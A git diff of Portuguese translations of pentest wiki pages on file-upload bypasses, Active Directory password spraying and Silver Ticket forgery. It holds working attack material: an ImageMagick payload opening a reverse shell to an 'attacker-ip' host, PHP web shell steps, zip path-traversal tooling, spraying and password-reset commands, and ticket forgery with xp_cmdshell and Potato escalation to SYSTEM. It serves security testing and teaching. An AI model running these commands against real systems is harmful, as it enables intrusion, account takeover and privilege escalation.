-Em algumas ocasiões você pode encontrar que um servidor está usando **`wget`** para **baixar arquivos** e em que você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que somente arquivos permitidos serão baixados. No entanto, **this check can be bypassed.**\ -O **comprimento máximo** de um **nome de arquivo** no **linux** é **255**, entretanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, esse nome de arquivo irá **bypass** a **verificação** (pois, neste exemplo, **".gif"** é uma extensão **válida**), mas `wget` irá **renomear** o arquivo para **"A"\*232+".php"**. +Em algumas ocasiões você pode encontrar que um servidor está usando **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que somente arquivos permitidos serão baixados. No entanto, **this check can be bypassed.**\ +A **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,35 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Observe que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, de modo que a URL inicial passe pela verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**. +Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, de modo que a URL inicial passe pela verificação e então wget baixe o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **wget vai baixar a página redirecionada com o nome do arquivo indicado na URL original**. ## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters and Bug Hunters na testagem de mecanismos de upload de arquivos. Ela utiliza várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters a testar mecanismos de upload de arquivos. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web. ### Corrupting upload indices with snprintf quirks (historical) -Alguns legacy upload handlers que usam `snprintf()` ou similares para construir arrays multi-file a partir de um upload de arquivo único podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento de `snprintf()`, um upload único cuidadosamente construído pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume um formato estrito (por exemplo, tratando-o como um upload multi-file e seguindo ramificações inseguras). Embora seja nicho hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases antigas. +Alguns handlers de upload legados que usam `snprintf()` ou similar para construir arrays multi-file a partir de um upload single-file podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamentos no comportamento de `snprintf()`, um upload cuidadosamente criado pode aparecer como múltiplos arquivos indexados no lado servidor, confundindo a lógica que assume uma forma estrita (por exemplo, tratando-o como um upload multi-file e tomando caminhos inseguros). Embora seja raro hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e código legado. -## De upload de arquivos para outras vulnerabilidades +## From File upload to other vulnerabilities -- Defina **filename** para `../../../tmp/lol.png` e tente conseguir um **path traversal** -- Defina **filename** para `sleep(10)-- -.jpg` e você pode conseguir uma **SQL injection** -- Defina **filename** para `` para conseguir um **XSS** -- Defina **filename** para `; sleep 10;` para testar alguma command injection (more [command injections tricks here](../command-injection.md)) +- Defina **filename** como `../../../tmp/lol.png` e tente alcançar um **path traversal** +- Defina **filename** como `sleep(10)-- -.jpg` e você pode ser capaz de alcançar uma **SQL injection** +- Defina **filename** como `` para alcançar um **XSS** +- Defina **filename** como `; sleep 10;` para testar alguma command injection (mais [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Tente **different svg payloads** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Se você puder **indicar o web server para catch an image from a URL** você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **image** for **saved** em algum site **public**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **steal information of every visitor**. +- Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) +- Se você puder **indicar ao servidor web para capturar uma imagem a partir de uma URL** você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **imagem** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, você poderia preparar algum PDF que execute JS arbitrário seguindo as indicações dadas. -- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content para verificar se o servidor possui algum **antivirus** -- Verifique se há algum **size limit** ao fazer upload de arquivos +- PDFs especialmente criados para XSS: A [página a seguir apresenta como **injetar dados em PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, pode preparar um PDF que execute JS arbitrário seguindo as indicações dadas. +- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus** +- Verifique se existe algum **limite de tamanho** ao enviar arquivos -Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Aqui vai uma lista top 10 de coisas que você pode conseguir fazendo upload (de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -204,28 +204,28 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here]( https://github.com/portswigger/upload-scanner {{#endref}} -## Magic Header Bytes +## Bytes Mágicos do Cabeçalho - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo. -## Zip/Tar File Automatically decompressed Upload +## Upload de Zip/Tar automaticamente descomprimido Se você puder fazer upload de um ZIP que será descomprimido no servidor, você pode fazer 2 coisas: ### Symlink -Faça upload de um arquivo que contenha soft links para outros arquivos; ao acessar os arquivos descomprimidos, você irá acessar os arquivos linkados: +Envie um arquivo contendo symlinks para outros arquivos; ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Descomprimir em diferentes pastas +### Descompactar em pastas diferentes -A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar de suposições iniciais de que essa configuração poderia proteger contra execução de comandos a nível do SO através de uploads maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser exploradas. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload protegidos manipulando a funcionalidade de descompressão da aplicação alvo. +A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar da suposição inicial de que essa configuração poderia impedir a execução de comandos a nível do sistema operacional via uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo. Um exploit automatizado para criar esses arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). O utilitário pode ser usado como mostrado: ```python @@ -254,11 +254,11 @@ zip.close() create_zip() ``` -**Abusing compression for file spraying** +**Abuso de compressão para file spraying** -Para mais detalhes **veja o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Para mais detalhes **consulte o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: O código PHP é escrito para executar comandos passados através da variável `$_REQUEST`. +1. **Criando um PHP Shell**: Código PHP é escrito para executar comandos passados através da variável `$_REQUEST`. ```php & /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Embedding PHP Shell on PNG +## Incorporando PHP Shell em PNG -Incorporar uma PHP shell no chunk IDAT de um arquivo PNG pode contornar eficazmente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e resamplear imagens, respectivamente. A capacidade da PHP shell incorporada de permanecer inalterada por essas operações é uma vantagem significativa para certos casos de uso. +Incorporar um PHP shell no chunk IDAT de um arquivo PNG pode efetivamente contornar certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e resamplear imagens, respectivamente. A capacidade do PHP shell incorporado de permanecer inalterado por essas operações é uma vantagem significativa em certos casos de uso. -Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é apresentada no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Esse recurso oferece uma compreensão abrangente do processo e de suas implicações. +Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece um entendimento abrangente do processo e suas implicações. More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Arquivos Polyglot -Arquivos polyglot servem como uma ferramenta única em cibersegurança, atuando como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um arquivo RAR. Esses arquivos não se limitam a esse pareamento; combinações como GIF e JS ou PPT e JS também são viáveis. +Arquivos polyglot servem como uma ferramenta única em segurança cibernética, atuando como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um RAR archive. Esses arquivos não se limitam a esse pareamento; combinações como GIF e JS ou PPT e JS também são viáveis. -A utilidade principal dos polyglots reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco representado por formatos potencialmente perigosos (por exemplo, JS, PHP ou arquivos Phar). No entanto, um polyglot, ao conformar-se aos critérios estruturais de múltiplos tipos de arquivo, pode contornar silenciosamente essas restrições. +A utilidade central dos arquivos polyglot reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. É prática comum em várias aplicações permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco apresentado por formatos potencialmente perigosos (por exemplo, JS, PHP ou Phar). Contudo, um polyglot, ao satisfazer os critérios estruturais de múltiplos tipos de arquivo, pode contornar essas restrições furtivamente. -Apesar de sua adaptabilidade, os polyglots encontram limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir seu upload. +Apesar de sua adaptabilidade, polyglots encontram limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir o upload. ### Fazer upload de JSONs válidos como se fossem PDF -Como evitar detecções de tipo de arquivo enviando um arquivo JSON válido mesmo que não seja permitido, fingindo ser um arquivo PDF (técnicas from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON válido mesmo quando não permitido, fingindo ser um arquivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Desde que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é válido (veja exemplo no post) +- **`mmmagic` library**: Contanto que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é considerado válido (veja exemplo no post) - **`pdflib` library**: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um pdf (veja exemplo no post) -- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga interpretar o conteúdo como JSON e então, dentro do JSON, colocar a parte inicial de um PDF real e ele pensará que é um PDF +- **`file` binary**: Pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga parsear o conteúdo como um json e então, dentro do JSON, colocar a parte inicial de um PDF real e ele vai interpretar como PDF ## Referências diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index fb8f7395c..98e45e540 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -**Confira o post incrível em:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**Confira o excelente post em:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index dd96ec5d1..cf402f6f9 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Uma vez que você tenha encontrado vários **valid usernames**, você pode tentar as **most common passwords** (tenha em mente a **password policy** do ambiente) com cada um dos discovered users.\ -Por **default** o **minimum password length** é **7**. +Uma vez que você encontrou vários **valid usernames** pode tentar as **common passwords** mais usadas (tenha em mente a password policy do ambiente) com cada um dos usuários descobertos.\ +Por **default** o **minimum** **password** **length** é **7**. Listas de common usernames também podem ser úteis: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Observe que você **could lockout some accounts if you try several wrong passwords** (por **default** mais de 10). +Observe que você **could lockout some accounts if you try several wrong passwords** (por padrão mais de 10). -### Obter password policy +### Get password policy -Se você tiver algumas user credentials ou um shell como domain user, você pode **obter a password policy com**: +Se você tiver algumas user credentials ou um shell como domain user você pode **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,7 +31,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Exploração a partir do Linux (ou todos) +### Exploração a partir de Linux (ou todos) - Usando **crackmapexec:** ```bash @@ -69,7 +69,7 @@ done ``` #### Do Windows -- Usando a versão do [Rubeus](https://github.com/Zer1t0/Rubeus) com o brute module: +- Com a versão do [Rubeus](https://github.com/Zer1t0/Rubeus) com o brute module: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão, obterá a política de senhas do domínio e limitará as tentativas de acordo com ela): +- Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão e obterá a política de senhas do domínio e limitará as tentativas de acordo com ela): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,12 +85,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` -### Identificar e assumir contas "Password must change at next logon" (SAMR) +### Identificar e Assumir Contas "Password must change at next logon" (SAMR) -Uma técnica de baixo ruído é usar password spraying com uma senha benign/empty e detectar contas que retornam STATUS_PASSWORD_MUST_CHANGE, o que indica que a senha foi forçosamente expirada e pode ser alterada sem conhecer a antiga. +Uma técnica de baixo ruído é testar uma password benign/empty e identificar contas que retornem STATUS_PASSWORD_MUST_CHANGE, o que indica que a password foi forçada a expirar e pode ser alterada sem conhecer a anterior. Fluxo de trabalho: -- Enumerar usuários (RID brute via SAMR) para construir a lista de alvos: +- Enumerar utilizadores (RID brute via SAMR) para construir a lista de alvos: {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +99,12 @@ Fluxo de trabalho: # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Faça password spraying com senha vazia e continue após acertos para capturar contas que devem alterar a senha no próximo logon: +- Spray uma password vazia e continue nos hits para capturar contas que devem mudar no próximo logon: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- Para cada acerto, altere a senha via SAMR com o módulo do NetExec (não é necessária a senha antiga quando "must change" está definida): +- Para cada acerto, altere a senha via SAMR com o módulo do NetExec (não é necessária a senha antiga quando "must change" está definido): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -114,26 +114,26 @@ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" netexec smb -u -p "$NEWPASS" --pass-pol ``` Notas operacionais: -- Garanta que o relógio do host esteja sincronizado com o DC antes de operações baseadas em Kerberos: `sudo ntpdate `. -- Um [+] sem (Pwn3d!) em alguns módulos (por exemplo, RDP/WinRM) significa que os creds são válidos, mas a conta não possui direitos de logon interativo. +- Certifique-se de que o relógio do host esteja sincronizado com o DC antes de operações baseadas em Kerberos: `sudo ntpdate `. +- Um [+] sem (Pwn3d!) em alguns módulos (por exemplo, RDP/WinRM) significa que as creds são válidas, mas a conta não possui direitos de logon interativo. ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` -### Kerberos pre-auth spraying com direcionamento LDAP e limitação ciente de PSO (SpearSpray) +### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying reduz ruído vs tentativas de bind SMB/NTLM/LDAP e se alinha melhor com as políticas de lockout do AD. O SpearSpray combina direcionamento baseado em LDAP, um pattern engine e awareness de políticas (domain policy + PSOs + buffer do badPwdCount) para spray de forma precisa e segura. Também pode taggar principals comprometidos no Neo4j para pathing do BloodHound. +Kerberos pre-auth–based spraying reduz o ruído em comparação com tentativas de bind SMB/NTLM/LDAP e se alinha melhor com as políticas de lockout do AD. SpearSpray combina direcionamento orientado por LDAP, um motor de padrões e consciência de políticas (domain policy + PSOs + buffer badPwdCount) para sprayar de forma precisa e segura. Também pode marcar principais comprometidos no Neo4j para pathing do BloodHound. Key ideas: -- LDAP user discovery com paginação e suporte a LDAPS, opcionalmente usando filtros LDAP customizados. -- Domain lockout policy + PSO-aware filtering para deixar um buffer configurável de tentativas (threshold) e evitar bloquear usuários. -- Kerberos pre-auth validation usando bindings gssapi rápidos (gera 4768/4771 nos DCs ao invés de 4625). -- Geração de senha por usuário baseada em pattern, usando variáveis como nomes e valores temporais derivados do pwdLastSet de cada usuário. -- Controle de throughput com threads, jitter e máximo de requests por segundo. -- Integração opcional com Neo4j para marcar usuários com controle para BloodHound. +- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. +- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users. +- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625). +- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet. +- Throughput control with threads, jitter, and max requests per second. +- Optional Neo4j integration to mark owned users for BloodHound. -Uso básico e descoberta: +Basic usage and discovery: ```bash # List available pattern variables spearspray -l @@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -Segmentação e controle de padrões: +Direcionamento e controle de padrão: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` -Controles de sigilo e segurança: +Controles de furtividade e segurança: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 @@ -174,29 +174,29 @@ Visão geral do sistema de padrões (patterns.txt): {samaccountname} {extra}{separator}{year}{suffix} ``` -Variáveis disponíveis incluem: +Available variables include: - {name}, {samaccountname} -- Temporais a partir do pwdLastSet de cada usuário (ou whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Ajudantes de composição e token da org: {separator}, {suffix}, {extra} +- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Composition helpers and org token: {separator}, {suffix}, {extra} -Notas operacionais: -- Prefira consultar o PDC-emulator com -dc para obter o badPwdCount mais autoritativo e informações relacionadas à política. -- Os resets de badPwdCount são acionados na próxima tentativa após a janela de observação; use o limiar e a temporização para agir com segurança. -- As tentativas de pré-autenticação Kerberos aparecem como 4768/4771 na telemetria do DC; use jitter e rate-limiting para se misturar. +Operational notes: +- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info. +- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. +- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in. -> Dica: O tamanho de página LDAP padrão do SpearSpray é 200; ajuste com -lps conforme necessário. +> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. ## Outlook Web Access -Existem várias ferramentas para p**assword spraying outlook**. +Existem múltiplas ferramentas para p**assword spraying outlook**. - Com [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- Com [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- com [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - Com [Ruler](https://github.com/sensepost/ruler) (confiável!) - Com [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Com [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e de uma senha / uma pequena lista de senhas para spray. +Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e de uma password / uma pequena lista de passwords para spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 6c777b7b5..fb3afc00f 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,15 +6,15 @@ ## Silver ticket -O ataque **Silver Ticket** envolve a exploração de service tickets em ambientes Active Directory (AD). Este método depende de **adquirir o NTLM hash de uma service account**, como uma computer account, para forjar um Ticket Granting Service (TGS) ticket. Com esse ticket forjado, um atacante pode acessar serviços específicos na rede, **se passando por qualquer usuário**, tipicamente visando privilégios administrativos. Enfatiza-se que usar AES keys para forjar tickets é mais seguro e menos detectável. +O ataque **Silver Ticket** envolve a exploração de service tickets em ambientes Active Directory (AD). Este método baseia-se em **adquirir o NTLM hash de uma service account**, como uma computer account, para forjar um Ticket Granting Service (TGS) ticket. Com esse ticket forjado, um atacante pode acessar serviços específicos na rede, **impersonando qualquer usuário**, tipicamente visando privilégios administrativos. É enfatizado que usar AES keys para forjar tickets é mais seguro e menos detectável. > [!WARNING] -> Silver Tickets são menos detectáveis do que Golden Tickets porque requerem apenas o **hash da service account**, não a krbtgt account. No entanto, eles são limitados ao serviço específico que atacam. Além disso, apenas roubar a senha de um usuário. -> Além disso, se você comprometer a **senha de uma conta com um SPN** você pode usar essa senha para criar um Silver Ticket passando-se por qualquer usuário para esse serviço. +> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. +> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. -Para a criação de tickets, diferentes ferramentas são empregadas conforme o sistema operacional: +For ticket crafting, different tools are employed based on the operating system: -### No Linux +### On Linux ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache @@ -39,9 +39,9 @@ mimikatz.exe "kerberos::ptt " ``` O serviço CIFS é destacado como um alvo comum para acessar o sistema de arquivos da vítima, mas outros serviços como HOST e RPCSS também podem ser explorados para tarefas e consultas WMI. -### Exemplo: MSSQL service (MSSQLSvc) + Potato to SYSTEM +### Exemplo: serviço MSSQL (MSSQLSvc) + Potato para SYSTEM -Se você tiver o NTLM hash (ou AES key) de uma conta de serviço SQL (por exemplo, sqlsvc) você pode forjar um TGS para o MSSQL SPN e impersonar qualquer usuário perante o serviço SQL. A partir daí, habilite xp_cmdshell para executar comandos como a conta de serviço SQL. Se esse token tiver SeImpersonatePrivilege, você pode encadear um Potato para elevar para SYSTEM. +Se você tiver o hash NTLM (ou a chave AES) de uma conta de serviço SQL (por exemplo, sqlsvc), você pode forjar um TGS para o SPN MSSQL e fazer impersonate de qualquer usuário no serviço SQL. A partir daí, habilite xp_cmdshell para executar comandos como a conta de serviço SQL. Se esse token tiver SeImpersonatePrivilege, encadeie um Potato para elevar-se a SYSTEM. ```bash # Forge a silver ticket for MSSQLSvc (RC4/NTLM example) python ticketer.py -nthash -domain-sid -domain \ @@ -52,7 +52,7 @@ export KRB5CCNAME=$PWD/administrator.ccache impacket-mssqlclient -k -no-pass /administrator@:1433 \ -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" ``` -- Se o contexto resultante tiver SeImpersonatePrivilege (frequentemente verdadeiro para contas de serviço), use uma variante de Potato para obter SYSTEM: +- Se o contexto resultante tiver SeImpersonatePrivilege (frequentemente verdadeiro para service accounts), use uma variante de Potato para obter SYSTEM: ```bash # On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato PrintSpoofer.exe -c "cmd /c whoami" @@ -73,11 +73,11 @@ Visão geral das técnicas Potato: ## Serviços Disponíveis -| Tipo de Serviço | Serviço (Silver Tickets) | +| Service Type | Service Silver Tickets | | ------------------------------------------ | 